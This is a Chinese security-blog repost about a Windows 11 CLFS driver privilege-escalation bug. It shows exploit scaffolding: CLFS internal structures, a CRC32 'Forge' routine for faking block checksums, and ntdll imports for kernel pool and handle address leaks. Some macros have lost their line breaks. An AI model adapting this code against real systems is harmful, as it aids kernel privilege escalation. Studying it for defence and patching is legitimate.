#include <stdbool.h>

#pragma comment(lib, "clfsw32.lib")

typedef UCHAR CLFS_CLIENT_ID;
typedef UCHAR CLFS_LOG_STATE, *PCLFS_LOG_STATE;

typedef struct _CLFS_METADATA_RECORD_HEADER
{
    ULONGLONG ullDumpCount;
} CLFS_METADATA_RECORD_HEADER, *PCLFS_METADATA_RECORD_HEADER;

typedef struct _CLFS_BASE_RECORD_HEADER
{
    CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
    CLFS_LOG_ID cidLog;
    ULONGLONG rgClientSymTbl[11];
    ULONGLONG rgContainerSymTbl[11];
    ULONGLONG rgSecuritySymTbl[11];
    ULONG cNextContainer;
    CLFS_CLIENT_ID cNextClient;
    ULONG cFreeContainers;
    ULONG cActiveContainers;
    ULONG cbFreeContainers;
    ULONG cbBusyContainers;
    ULONG rgClients[124];
    ULONG rgContainers[1024];
    ULONG cbSymbolZone;
    ULONG cbSector;
    USHORT bUnused;
    CLFS_LOG_STATE eLogState;
    UCHAR cUsn;
    UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;

typedef enum _CLFS_EXTEND_STATE
{
    ClfsExtendStateNone = 0x0,
    ClfsExtendStateExtendingFsd = 0x1,
    ClfsExtendStateFlushingBlock = 0x2,
} CLFS_EXTEND_STATE, *PCLFS_EXTEND_STATE;

typedef enum _CLFS_TRUNCATE_STATE
{
    ClfsTruncateStateNone = 0x0,
    ClfsTruncateStateModifyingStream = 0x1,
    ClfsTruncateStateSavingOwner = 0x2,
    ClfsTruncateStateModifyingOwner = 0x3,
    ClfsTruncateStateSavingDiscardBlock = 0x4,
    ClfsTruncateStateModifyingDiscardBlock = 0x5,
} CLFS_TRUNCATE_STATE, *PCLFS_TRUNCATE_STATE;

typedef struct _CLFS_TRUNCATE_CONTEXT
{
    CLFS_TRUNCATE_STATE eTruncateState;
    CLFS_CLIENT_ID cClients;
    CLFS_CLIENT_ID iClient;
    CLFS_LSN lsnOwnerPage;
    CLFS_LSN lsnLastOwnerPage;
    ULONG cInvalidSector;
} CLFS_TRUNCATE_CONTEXT, *PCLFS_TRUNCATE_CONTEXT;

typedef enum _CLFS_METADATA_BLOCK_TYPE
{
    ClfsMetaBlockControl = 0x0,
    ClfsMetaBlockControlShadow = 0x1,
    ClfsMetaBlockGeneral = 0x2,
    ClfsMetaBlockGeneralShadow = 0x3,
    ClfsMetaBlockScratch = 0x4,
    ClfsMetaBlockScratchShadow = 0x5,
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;

typedef struct _CLFS_METADATA_BLOCK
{
    union {
        PUCHAR pbImage;
        ULONGLONG ullAlignment;
    };
    ULONG cbImage;
    ULONG cbOffset;
    CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK, *PCLFS_METADATA_BLOCK;

typedef struct _CLFS_CONTROL_RECORD
{
    CLFS_METADATA_RECORD_HEADER hdrControlRecord;
    ULONGLONG ullMagicValue;
    UCHAR Version;
    CLFS_EXTEND_STATE eExtendState;
    USHORT iExtendBlock;
    USHORT iFlushBlock;
    ULONG cNewBlockSectors;
    ULONG cExtendStartSectors;
    ULONG cExtendSectors;
    CLFS_TRUNCATE_CONTEXT cxTruncate;
    USHORT cBlocks;
    ULONG cReserved;
    CLFS_METADATA_BLOCK rgBlocks[1];
} CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;

typedef struct _CLFSHASHSYM
{
    CLFS_NODE_ID cidNode;
    ULONG ulHash;
    ULONG cbHash;
    ULONGLONG ulBelow;
    ULONGLONG ulAbove;
    LONG cbSymName;
    LONG cbOffset;
    BOOLEAN fDeleted;
} CLFSHASHSYM, *PCLFSHASHSYM;

typedef struct _CLFS_CLIENT_CONTEXT
{
    CLFS_NODE_ID cidNode;
    CLFS_CLIENT_ID cidClient;
    USHORT fAttributes;
    ULONG cbFlushThreshold;
    ULONG cShadowSectors;
    ULONGLONG cbUndoCommitment;
    LARGE_INTEGER llCreateTime;
    LARGE_INTEGER llAccessTime;
    LARGE_INTEGER llWriteTime;
    CLFS_LSN lsnOwnerPage;
    CLFS_LSN lsnArchiveTail;
    CLFS_LSN lsnBase;
    CLFS_LSN lsnLast;
    CLFS_LSN lsnRestart;
    CLFS_LSN lsnPhysicalBase;
    CLFS_LSN lsnUnused1;
    CLFS_LSN lsnUnused2;
    CLFS_LOG_STATE eState;
    union {
        HANDLE hSecurityContext;
        ULONGLONG ullAlignment;
    };
} CLFS_CLIENT_CONTEXT, *PCLFS_CLIENT_CONTEXT;

typedef struct _CLFS_LOG_BLOCK_HEADER
{
    UCHAR MajorVersion;
    UCHAR MinorVersion;
    UCHAR Usn;
    CLFS_CLIENT_ID ClientId;
    USHORT TotalSectorCount;
    USHORT ValidSectorCount;
    ULONG Padding;
    ULONG Checksum;
    ULONG Flags;
    CLFS_LSN CurrentLsn;
    CLFS_LSN NextLsn;
    ULONG RecordOffsets[16];
    ULONG SignaturesOffset;
} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;

typedef ULONG CLFS_USN;

typedef struct _CLFS_CONTAINER_CONTEXT
{
    CLFS_NODE_ID cidNode;
    ULONGLONG cbContainer;
    CLFS_CONTAINER_ID cidContainer;
    CLFS_CONTAINER_ID cidQueue;
    union {
        PVOID pContainer;
        ULONGLONG ullAlignment;
    };
    CLFS_USN usnCurrent;
    CLFS_CONTAINER_STATE eState;
    ULONG cbPrevOffset;
    ULONG cbNextOffset;
} CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;
// crc32.h
#pragma once

class Crc32
{

public:
    Crc32(unsigned int poly)
    {
        for (int i = 0; i < 256; ++i)
        {
            unsigned int fwd = i, rev = i << 24;
            for (int j = 8; j > 0; --j)
            {
                if (fwd & 1) fwd = (fwd >> 1) ^ poly;
                else fwd >>= 1;
                forward[i] = fwd & 0xffffffff;
                if ((rev & 0x80000000) == 0x80000000) rev = ((rev ^ poly) << 1) | 1;
                else rev <<= 1;
                rev &= 0xffffffff;
                reverse[i] = rev;
            }
        }
    }

    unsigned int Compute(const unsigned char *buf, int len)
    
{
        unsigned int crc = 0xffffffff;

        for (int i = 0; i < len; ++i)
            crc = (crc >> 8) ^ forward[(crc ^ buf[i]) & 0xff];

        return crc ^ 0xffffffff;
    }

    void Forge(unsigned int target, unsigned char *buf, int len, int pos)
    
{
        unsigned int fwd_crc = 0xffffffff;
        for (int i = 0; i < pos; ++i)
            fwd_crc = (fwd_crc >> 8) ^ forward[(fwd_crc ^ buf[i]) & 0xff];

        *(unsigned int *)&buf[pos] = fwd_crc;
 
        unsigned int bkd_crc = target ^ 0xffffffff;
        for (int i = len - 1; i >= pos; --i)
            bkd_crc = ((bkd_crc << 8) & 0xffffffff) ^ reverse[bkd_crc >> 24] ^ buf[i];

        *(unsigned int *)&buf[pos] = bkd_crc;
    }

private:
    unsigned int forward[256];
    unsigned int reverse[256];
};
// ntdll.h
#pragma once

#include <Windows.h>
#include <ntstatus.h>

#define DECLARE_NTDLL_FUNC(name, params)
    typedef NTSTATUS(NTAPI *__type_##name) params;
    __type_##name name;


#define BEGIN_NTDLL_IMPORT()
    do
    {
        HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
        if (hNtDll == NULL)
            break;


#define NTDLL_IMPORT(name) name = (__type_##name)GetProcAddress(hNtDll, #name);

#define END_NTDLL_IMPORT()
    }
    while (0)
        ;


typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemModuleInformation = 0xb,
    SystemHandleInformation = 0x10,
    SystemExtendedHandleInformation = 0x40,
    SystemBigPoolInformation = 0x42,
} SYSTEM_INFORMATION_CLASS;

typedef struct _IO_STATUS_BLOCK
{

    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef VOID(NTAPI *PIO_APC_ROUTINE)(_In_ PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved);

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{

    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void *Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{

    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_HANDLE_EX
{

    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE_EX, *PSYSTEM_HANDLE_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{

    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

typedef struct _RTL_PROCESS_MODULE_INFORMATION
{

    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES
{

    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef struct _SYSTEM_BIGPOOL_ENTRY
{

    union {
        PVOID VirtualAddress;
        ULONG_PTR NonPaged : 1;
    };
    ULONG_PTR SizeInBytes;
    union {
        UCHAR Tag[4];
        ULONG TagULong;
    };
} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY;

typedef struct _SYSTEM_BIGPOOL_INFORMATION
{

    ULONG Count;
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;

原文始发于微信公众号(Ots安全):通用日志文件系统 (CLFS) 驱动程序中的漏洞允许本地用户在 Windows 11 上获得提升权限

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月24日13:31:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通用日志文件系统 (CLFS) 驱动程序中的漏洞允许本地用户在 Windows 11 上获得提升权限https://cn-sec.com/archives/3309355.html

发表评论

匿名网友 填写信息